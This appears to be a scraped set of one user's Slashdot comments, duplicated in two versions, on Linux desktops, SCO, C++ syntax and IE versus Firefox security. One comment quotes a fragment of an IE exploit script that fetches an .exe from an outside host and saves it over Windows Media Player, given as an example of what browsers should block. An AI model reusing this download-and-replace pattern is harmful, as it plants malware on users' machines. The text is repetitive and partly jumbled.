I for one, am all for standardizing a window system. That's not saying that we can't have competiting Window managers, but there is standard of the communication to the windows system. This is (IMO) what is holding back Linux from the desktop.
Most agreed. If this project does take hold and considerable development efforts begin, I believe this could be the answer for Linux finally taking over on the desktop/workstation market.
X's bear of UI's make unnecessary duplicate effort on both parties (ie: KDE/Gnome). While they both might be good, a lot of code functionality is duplicated between them. If this was removed and put into the window server (Y), it could drastically improve usability and turnaround times for next development releases.
I think the $75,000 question is what can we (userbase) do to help promote the development and adoption of this? I, for one, would love to join the development team and if ample time is available, I just might do so. I highly encourage other coders who have time to spare to join as well.
If you choose to use namespaces (using iostream without the.h and including "using namespace std;" in the code, then yes. Otherwise, the std: is not needed.
It seems most posters here are forgetting that the usual default setting for posts is HTML formatted and thus << needs to be escaped in HTML. (Hint: Preview is there for a reason):)
But Slashdotters want anything to shove in the RIAA's face as "wrong," ignoring the real issue of people downloading artists' music without paying them for it. It doesn't matter to them.
All I can say is I hope you have karma to burn...::sniff::::sniff::
No, I think he'll start off with something along these lines:
"Those thieves! Those thieves...You filttthy little thieves!
They stole it from usss. My Preciousssss."
"Curse them! We hates them! It's ours it is..And we wants it!!!"
"Evil Linus is trixie, we hates them, WE HATES THEM!"
As funny as it sounds, I hate to say I whole-heartidly concur. When you get into a position similar to a CEO (ie: high ranking, top of the ladder type-of-deal in a big company) I'd say it's pretty much natural to be greedy and blood-thirsty. How else do you think corporate America works? Why do you think there are so many lawsuits?::cough::SCO::cough::
Granted there are exceptions, but frankly I'd have to say this is a somewhat safe assumption nowadays unfortunately.
Why do you think I'm content being the programmer locked in a room with the occasional piece of meat thrown under the door?:)
So... if Darl is an unconcious liar, perhaps it is because somebody just hit him on the head with a clue-stick? Or perhaps he just got side-swiped by SCOX's falling share price?
You're forgetting one viable option... he could just be plain dumb. Seeing as how he operates, I don't think he'd get a clue if a whole forest of clue-trees fell on him.
I always thought the Ballmer was a unit of greedy-CEO-types who want nothing other than world domination (and should be sent straight to hell, Do Not pass go, Do Not collect your stock options, IMHO). Except over Planet Linux of course... in which case I like to think of the Linus as a unit of genius (in more ways than one).:)
As most people have agreed, this is a bad mark on IBM's record. I respect them for their pro-Linux attitude (despite the fact it may partially be due to retaliation on MS) and think they have contributed a lot to the field, this is why it's so unfortunate.
Thankfully this problem doesn't effect me as I use almost all SCSI devices, however I have noticed my IBM SCSI drive hasn't quite been up to par recently. And I had to RMA it already once... hmmm. I think I'm sticking with Seagate from now on, I love my ST336607LW.:)
BSD may be forced also to change it's name to BUD.
Nah, just change the B to a L. Talk about a way to grab attention from your co-workers: "So yeah, I installed LSD this past weekend, and man what a trip it was...":)
No, I'd have to say they are idiots. I've been programming about the same about of time in C (~10 years)... one thing I've always remembered:
If your integer never needs a negative value (as in this case), MAKE IT UNSIGNED.
One less place for a bug/exploit to appear... especially when it comes to something as important as memory offsets. That good-old EIP register isn't as bright as we'd like it to be.
Well, I'm known (to pretty much all that know me) as the computer dude... Either as the weird Linux nerd, the odd-geek who loves assembly, or just the usual gamer. Having such a reputation automatically makes the non-technically savvy expect me to fix their computers for them, and I've been doing so for many years. This is a perfect opportunity (I'd recommend the same to anyone else in my situation)
After some consideration, I think I'm going to be installing Firefox on everyone's PC's from now on (with their approval of course). A simple blurb about how insecure IE is, the ease of virus-catching (almost sounds like IE has HIV, doesnt it?), and a few key-points from IE's past and I think most of the "normal" PC users will be a quick convert. The fact it doesn't crash (least not for me) will do nothing but help as well - most of them bitch about that too.:-d
The long-winded answer: Yes... Not only is IE known for a long history of insecurity, mostly due to the wonderful company located in Redmond, Washington. We also know that Microsoft loves integration, specifcally with their software: which brings you ActiveX and VBScript integration into IE. What a wonderful thing. With administrator rights and the correct (I should say incorrect) privacy settings, skript kiddies can pretty much do what they please with your box - This story being a case-in-point. A quick Google came up with this: IE considered harmful. I do not know the full details of the content in that link, nor do I affiliate myself with the author, but he does bring up several good (and valid) points.
Now for alternative browsers (I will focus on Firefox. For starters, it's open source (available at cvs.mozilla.org), which IMHO may not make it more secure by itself, but does it definately doesn't hurt. "Security through obscurity" also isn't an issue because of this. It does not have VBScript/ActiveX integration, so you don't have to worry about Mozilla/Firefox overwriting any file on your PC it was told to do by some script. Furthermore, Mozilla wasn't designed to have functionality to do such things in the first place (AFAIK) which obviously means it's not possible, even with a security flaw.
All of these reasons combined should clearly demonstrate that Mozilla/Firefox is a more secure browser (then IE). I honestly don't believe anyone could think otherwise.
Slashdot Mirror
I for one, am all for standardizing a window system. That's not saying that we can't have competiting Window managers, but there is standard of the communication to the windows system. This is (IMO) what is holding back Linux from the desktop.
Most agreed. If this project does take hold and considerable development efforts begin, I believe this could be the answer for Linux finally taking over on the desktop/workstation market.
X's bear of UI's make unnecessary duplicate effort on both parties (ie: KDE/Gnome). While they both might be good, a lot of code functionality is duplicated between them. If this was removed and put into the window server (Y), it could drastically improve usability and turnaround times for next development releases.
I think the $75,000 question is what can we (userbase) do to help promote the development and adoption of this? I, for one, would love to join the development team and if ample time is available, I just might do so. I highly encourage other coders who have time to spare to join as well.
You insensitive clod!
I don't drink soda.
If "gravity waves" do travel at C, this is a good way to see them.
.NET) we'd never get to see them!
I certainly hope they'd travel at at least C, if they were moving any slower (VB perhaps or maybe
If you choose to use namespaces (using iostream without the .h and including "using namespace std;" in the code, then yes. Otherwise, the std: is not needed.
:)
It seems most posters here are forgetting that the usual default setting for posts is HTML formatted and thus << needs to be escaped in HTML. (Hint: Preview is there for a reason)
cout "Hello World!";
I believe your problem is the following: cout << "Hello World!";
But Slashdotters want anything to shove in the RIAA's face as "wrong," ignoring the real issue of people downloading artists' music without paying them for it. It doesn't matter to them.
::sniff:: ::sniff::
All I can say is I hope you have karma to burn...
Hell yea, in fact, why not make it a tag-team? Throw Ballmer in there for shits-n-giggles and have Tux backup Linus. :)
I've got the perfect solution:
/dev/McBride /dev/bullshit
ln -f
No, I think he'll start off with something along these lines:
"Those thieves! Those thieves...You filttthy little thieves! They stole it from usss. My Preciousssss."
"Curse them! We hates them! It's ours it is..And we wants it!!!"
"Evil Linus is trixie, we hates them, WE HATES THEM!"
As funny as it sounds, I hate to say I whole-heartidly concur. When you get into a position similar to a CEO (ie: high ranking, top of the ladder type-of-deal in a big company) I'd say it's pretty much natural to be greedy and blood-thirsty. How else do you think corporate America works? Why do you think there are so many lawsuits? ::cough::SCO::cough::
:)
Granted there are exceptions, but frankly I'd have to say this is a somewhat safe assumption nowadays unfortunately.
Why do you think I'm content being the programmer locked in a room with the occasional piece of meat thrown under the door?
So ... if Darl is an unconcious liar, perhaps it is because somebody just hit him on the head with a clue-stick? Or perhaps he just got side-swiped by SCOX's falling share price?
You're forgetting one viable option... he could just be plain dumb. Seeing as how he operates, I don't think he'd get a clue if a whole forest of clue-trees fell on him.
I always thought the Ballmer was a unit of greedy-CEO-types who want nothing other than world domination (and should be sent straight to hell, Do Not pass go, Do Not collect your stock options, IMHO). Except over Planet Linux of course... in which case I like to think of the Linus as a unit of genius (in more ways than one). :)
As most people have agreed, this is a bad mark on IBM's record. I respect them for their pro-Linux attitude (despite the fact it may partially be due to retaliation on MS) and think they have contributed a lot to the field, this is why it's so unfortunate.
:)
Thankfully this problem doesn't effect me as I use almost all SCSI devices, however I have noticed my IBM SCSI drive hasn't quite been up to par recently. And I had to RMA it already once... hmmm. I think I'm sticking with Seagate from now on, I love my ST336607LW.
Rmedins me of tihs sotry...
BSD may be forced also to change it's name to BUD.
:)
Nah, just change the B to a L. Talk about a way to grab attention from your co-workers: "So yeah, I installed LSD this past weekend, and man what a trip it was..."
How could you forget l337 hax0r sp33k as well!
Monitor bugs? In Microsoft code? HA.
Consult the Post-It note on Ballmer's monitor. If that fails, ask clippy. Or perhaps MS Bob.
No, I'd have to say they are idiots. I've been programming about the same about of time in C (~10 years)... one thing I've always remembered:
If your integer never needs a negative value (as in this case), MAKE IT UNSIGNED.
One less place for a bug/exploit to appear... especially when it comes to something as important as memory offsets. That good-old EIP register isn't as bright as we'd like it to be.
Or even better, the source to Windows?
Very important point. Mod parent up, I would but just ran out.
Correct, IIRC from my discrete analysis class the proper term is "fallacy to prove the hypothesis".
You seem to be missing the point. Browsers shouldn't allow this:
( "C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
x.Open("GET", "http://adversting.co.uk/a.exe",0);
s.SaveToFile
etc...
This is the problem with IE. Running as admin/root isn't a good idea in general, you are correct, but thats not an excuse for IE's pisspoor security.
Well, I'm known (to pretty much all that know me) as the computer dude... Either as the weird Linux nerd, the odd-geek who loves assembly, or just the usual gamer. Having such a reputation automatically makes the non-technically savvy expect me to fix their computers for them, and I've been doing so for many years. This is a perfect opportunity (I'd recommend the same to anyone else in my situation)
:-d
After some consideration, I think I'm going to be installing Firefox on everyone's PC's from now on (with their approval of course). A simple blurb about how insecure IE is, the ease of virus-catching (almost sounds like IE has HIV, doesnt it?), and a few key-points from IE's past and I think most of the "normal" PC users will be a quick convert. The fact it doesn't crash (least not for me) will do nothing but help as well - most of them bitch about that too.
The quick, simple answer: Yes
The long-winded answer: Yes... Not only is IE known for a long history of insecurity, mostly due to the wonderful company located in Redmond, Washington. We also know that Microsoft loves integration, specifcally with their software: which brings you ActiveX and VBScript integration into IE. What a wonderful thing. With administrator rights and the correct (I should say incorrect) privacy settings, skript kiddies can pretty much do what they please with your box - This story being a case-in-point. A quick Google came up with this: IE considered harmful. I do not know the full details of the content in that link, nor do I affiliate myself with the author, but he does bring up several good (and valid) points.
Now for alternative browsers (I will focus on Firefox. For starters, it's open source (available at cvs.mozilla.org), which IMHO may not make it more secure by itself, but does it definately doesn't hurt. "Security through obscurity" also isn't an issue because of this. It does not have VBScript/ActiveX integration, so you don't have to worry about Mozilla/Firefox overwriting any file on your PC it was told to do by some script. Furthermore, Mozilla wasn't designed to have functionality to do such things in the first place (AFAIK) which obviously means it's not possible, even with a security flaw.
All of these reasons combined should clearly demonstrate that Mozilla/Firefox is a more secure browser (then IE). I honestly don't believe anyone could think otherwise.